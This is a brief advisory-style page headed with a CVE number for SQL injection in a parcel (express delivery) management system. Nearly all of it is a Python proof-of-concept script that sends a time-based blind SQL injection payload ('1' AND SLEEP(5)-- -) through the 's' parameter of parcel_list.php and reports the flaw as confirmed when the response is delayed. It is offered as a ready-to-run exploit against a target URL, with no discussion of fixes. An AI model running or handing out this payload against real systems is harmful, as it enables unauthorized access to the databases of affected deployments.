CVE-2026-9607 快递管理系统SQL注入漏洞

import requests def exploit_sqli(target_url): # Target endpoint containing the vulnerability url = f"{target_url}/parcel_list.php" # Malicious payload to test SQL Injection # This payload attempts to check if the database sleeps, indicating a vulnerability payload = "1' AND SLEEP(5)-- -" params = { "s": payload } try: print(f"[+] Sending payload to {url}") response = requests.get(url, params=params, timeout=10) # Check response time or content to verify vulnerability if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability confirmed: Time-based SQL Injection detected.") else: print("[-] Vulnerability not detected or payload failed.") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Replace with actual target address target = "http://localhost" exploit_sqli(target)